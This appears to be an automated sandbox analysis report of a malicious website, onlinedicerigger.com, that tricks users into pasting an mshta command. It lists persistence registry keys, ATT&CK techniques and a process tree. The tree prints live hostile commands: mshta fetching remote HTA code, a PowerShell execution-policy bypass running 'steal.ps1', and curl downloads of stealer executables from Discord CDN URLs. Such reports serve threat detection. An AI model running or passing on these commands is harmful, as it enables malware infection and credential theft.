hxxp://onlinedicerigger[.]com

Analysis

user interaction
yes
max time kernel
165s
max time network
167s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/09/2026, 15:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
http://onlinedicerigger.com
Sample260908-skmbpsshme

Score

10^/10

discovery execution persistence privilege_escalation

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://onlinedicerigger.com/start

Extracted

Language

Source

URLs

hta.dropper
https://onlinedicerigger.com/start

Extracted

Language

Source

URLs

exe.dropper
https://phenomenal-trifle-e456e1.netlify.app/.netlify/functions/relay

Signatures

Badlisted process makes network request 26 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
50	2732	mshta.exe
51	2732	mshta.exe
53	2732	mshta.exe
54	2732	mshta.exe
55	2732	mshta.exe
56	2732	mshta.exe
57	2732	mshta.exe
58	2732	mshta.exe
75	2732	mshta.exe
76	2732	mshta.exe
77	1452	mshta.exe
78	1452	mshta.exe
79	1452	mshta.exe
80	2732	mshta.exe
81	2732	mshta.exe
82	1452	mshta.exe
83	1452	mshta.exe
84	1452	mshta.exe
85	4676	mshta.exe
88	4676	mshta.exe
92	4676	mshta.exe
98	4676	mshta.exe
100	4676	mshta.exe
101	4676	mshta.exe
102	4676	mshta.exe
106	4676	mshta.exe

Creates a file in the Startup directory 1 TTPs 3 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winupdate.vbs	mshta.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winupdate.vbs	mshta.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winupdate.vbs	mshta.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
mshta https://onlinedicerigger.com/start	msedge.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "mshta https://onlinedicerigger.com/start"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate = "mshta https://onlinedicerigger.com/start"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "mshta https://onlinedicerigger.com/start"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate = "mshta https://onlinedicerigger.com/start"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "mshta https://onlinedicerigger.com/start"	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate = "mshta https://onlinedicerigger.com/start"	mshta.exe

Looks up external IP address via web service 1 TTPs 5 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
49	api.ipify.org
49	ip-api.com
76	api.ipify.org
82	api.ipify.org
100	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4960	powershell.exe
1120	powershell.exe
4000	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4492	cmd.exe
2548	cmd.exe
2336	cmd.exe
2948	cmd.exe
768	cmd.exe
4384	cmd.exe
4664	cmd.exe
1308	cmd.exe
4792	cmd.exe
412	cmd.exe
1772	cmd.exe
696	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
768	cmd.exe
4972	PING.EXE
4664	cmd.exe
4040	PING.EXE
2948	cmd.exe
2484	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4848	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134333538783669499"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2043432456-1617298091-2772621413-1000\{16875013-0F4B-46D3-B35C-499AD979622C}	msedge.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
4040	PING.EXE
2484	PING.EXE
4972	PING.EXE

Script User-Agent 3 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	83	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	101	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	80	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
1120	powershell.exe
1120	powershell.exe
1120	powershell.exe
4000	powershell.exe
4000	powershell.exe
4000	powershell.exe
2004	msedge.exe
2004	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe
4288	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4288 wrote to memory of 1600	4288	msedge.exe	80
PID 4288 wrote to memory of 4848	4288	msedge.exe	81
PID 4288 wrote to memory of 4016	4288	msedge.exe	82
PID 4288 wrote to memory of 4016	4288	msedge.exe	82
PID 4288 wrote to memory of 4016	4288	msedge.exe	82
PID 4288 wrote to memory of 2528	4288	msedge.exe	83
PID 4288 wrote to memory of 2528	4288	msedge.exe	83
PID 4288 wrote to memory of 4996	4288	msedge.exe	86
PID 4288 wrote to memory of 4816	4288	msedge.exe	85
PID 4288 wrote to memory of 4996	4288	msedge.exe	86
PID 4288 wrote to memory of 4996	4288	msedge.exe	86
PID 4288 wrote to memory of 4816	4288	msedge.exe	85
PID 4288 wrote to memory of 4816	4288	msedge.exe	85
PID 4288 wrote to memory of 1836	4288	msedge.exe	87
PID 4288 wrote to memory of 4428	4288	msedge.exe	88
PID 4288 wrote to memory of 1836	4288	msedge.exe	87
PID 4288 wrote to memory of 1836	4288	msedge.exe	87
PID 4288 wrote to memory of 4428	4288	msedge.exe	88
PID 4288 wrote to memory of 4428	4288	msedge.exe	88
PID 4288 wrote to memory of 2516	4288	msedge.exe	89
PID 4288 wrote to memory of 2516	4288	msedge.exe	89
PID 4288 wrote to memory of 2516	4288	msedge.exe	89
PID 4288 wrote to memory of 2436	4288	msedge.exe	91
PID 4288 wrote to memory of 2436	4288	msedge.exe	91
PID 4288 wrote to memory of 2436	4288	msedge.exe	91
PID 4288 wrote to memory of 3756	4288	msedge.exe	92
PID 4288 wrote to memory of 3756	4288	msedge.exe	92
PID 4288 wrote to memory of 3756	4288	msedge.exe	92
PID 4288 wrote to memory of 3852	4288	msedge.exe	94
PID 4288 wrote to memory of 3852	4288	msedge.exe	94
PID 4288 wrote to memory of 4116	4288	msedge.exe	95
PID 4288 wrote to memory of 4116	4288	msedge.exe	95
PID 4288 wrote to memory of 2860	4288	msedge.exe	96
PID 4288 wrote to memory of 4752	4288	msedge.exe	98
PID 2860 wrote to memory of 1176	2860	msedge.exe	99
PID 4288 wrote to memory of 3240	4288	msedge.exe	101
PID 4288 wrote to memory of 1676	4288	msedge.exe	102
PID 4288 wrote to memory of 4168	4288	msedge.exe	103
PID 4288 wrote to memory of 3440	4288	msedge.exe	105
PID 4288 wrote to memory of 3440	4288	msedge.exe	105
PID 2732 wrote to memory of 1308	2732	mshta.exe	107
PID 1308 wrote to memory of 4960	1308	cmd.exe	109
PID 1452 wrote to memory of 4492	1452	mshta.exe	111
PID 4492 wrote to memory of 1120	4492	cmd.exe	113
PID 2732 wrote to memory of 2548	2732	mshta.exe	116
PID 2548 wrote to memory of 3864	2548	cmd.exe	118
PID 1452 wrote to memory of 4792	1452	mshta.exe	119
PID 4792 wrote to memory of 768	4792	cmd.exe	121
PID 2732 wrote to memory of 2336	2732	mshta.exe	122
PID 2336 wrote to memory of 3352	2336	cmd.exe	124
PID 1452 wrote to memory of 412	1452	mshta.exe	125
PID 412 wrote to memory of 696	412	cmd.exe	127
PID 2732 wrote to memory of 2948	2732	mshta.exe	128
PID 2948 wrote to memory of 2484	2948	cmd.exe	130
PID 4676 wrote to memory of 1772	4676	mshta.exe	131
PID 1772 wrote to memory of 4000	1772	cmd.exe	133
PID 1452 wrote to memory of 768	1452	mshta.exe	134
PID 768 wrote to memory of 4972	768	cmd.exe	136
PID 4288 wrote to memory of 2004	4288	msedge.exe	137
PID 4676 wrote to memory of 4384	4676	mshta.exe	138
PID 4384 wrote to memory of 1128	4384	cmd.exe	140
PID 4676 wrote to memory of 696	4676	mshta.exe	141
PID 696 wrote to memory of 2452	696	cmd.exe	143
PID 4676 wrote to memory of 4664	4676	mshta.exe	144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://onlinedicerigger.com
1⤵
- Suspicious clipboard content.
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x240,0x244,0x248,0x23c,0x2f4,0x7ffe60bac188,0x7ffe60bac194,0x7ffe60bac1a0
  2⤵
  PID:1600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1780,i,7766101096688635927,5600525753391314832,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:11
  2⤵
  - System Time Discovery
  PID:4848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1620,i,1008059978562039279,17430376947302337468,262144 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=2280 /prefetch:2
  2⤵
  PID:4016
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2476,i,5255328457242194432,1802320885333897625,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:13
  2⤵
  PID:2528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3456,i,14587714618876174480,11765662870218805626,2097152 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=3500 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3480,i,5155237952084037676,13371608638988547374,2097152 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
  2⤵
  PID:4996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4168,i,3366080080523807697,13625027648023978575,2097152 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4368 /prefetch:1
  2⤵
  PID:1836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4188,i,3726349512508157125,8812474708034899675,2097152 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4388 /prefetch:9
  2⤵
  PID:4428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4204,i,3809682199262058265,14355521918812015771,2097152 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:1
  2⤵
  PID:2516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4216,i,18006865752777765339,5147695700002749918,2097152 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4456 /prefetch:9
  2⤵
  PID:2436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4460,i,7819419912094678933,14099004620830073822,2097152 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=3740 /prefetch:1
  2⤵
  PID:3756
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4264,i,1858112022769086388,5303431378359596370,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:14
  2⤵
  PID:3852
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4268,i,3154127759058252834,10541912743403379331,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:14
  2⤵
  PID:4116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,8535575548778377438,3263281913821408972,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2860
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1128
    3⤵
    PID:1176
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,12299593420547331493,7867898544997251702,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
  2⤵
  PID:1744
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,12299593420547331493,7867898544997251702,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
  2⤵
  PID:4752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4476,i,11525281131753950087,2581009414590633774,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:14
  2⤵
  PID:3240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5128,i,6600402127394490161,7622270716810859119,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4648 /prefetch:14
  2⤵
  PID:1676
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4512,i,10678926198098763777,6262049621676313065,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
  2⤵
  PID:4168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4632,i,10759191737882672770,3881295031978950338,524288 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=4268 /prefetch:14
  2⤵
  PID:3440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=748,i,13545073858060810127,11256955014689542919,262144 --field-trial-handle=2284,i,17943031716230009357,16136510156498656279,262144 --variations-seed-version --mojo-platform-channel-handle=752 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2004

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2732

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://onlinedicerigger.com/start
1⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\stealer.exe" --max-time 60 "https://cdn.discordapp.com/attachments/1520220324178690158/1545762547318259832/winlogon.exe?ex=6a9ea48e&is=6a9d530e&hm=6bb8bdd954350f4981ee34a2163960563d53fb00b7cc6327b2e4965b0e135866&"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2548
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\stealer.exe" --max-time 60 "https://cdn.discordapp.com/attachments/1520220324178690158/1545762547318259832/winlogon.exe?ex=6a9ea48e&is=6a9d530e&hm=6bb8bdd954350f4981ee34a2163960563d53fb00b7cc6327b2e4965b0e135866&"
    3⤵
    PID:3864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\agent.exe" --max-time 90 "https://cdn.discordapp.com/attachments/1520220324178690158/1546215370137018429/svchost.exe?ex=6a9ef8c7&is=6a9da747&hm=34088a46936c10debbbffc47504da7f2ad0b850196634adb537f0b8aba01a84f&"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\agent.exe" --max-time 90 "https://cdn.discordapp.com/attachments/1520220324178690158/1546215370137018429/svchost.exe?ex=6a9ef8c7&is=6a9da747&hm=34088a46936c10debbbffc47504da7f2ad0b850196634adb537f0b8aba01a84f&"
    3⤵
    PID:3352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 121 127.0.0.1 > nul
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\PING.EXE
    ping -n 121 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2484

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://onlinedicerigger.com/start
1⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Exec Bypass -File "C:\Users\Admin\AppData\Local\Temp\steal.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
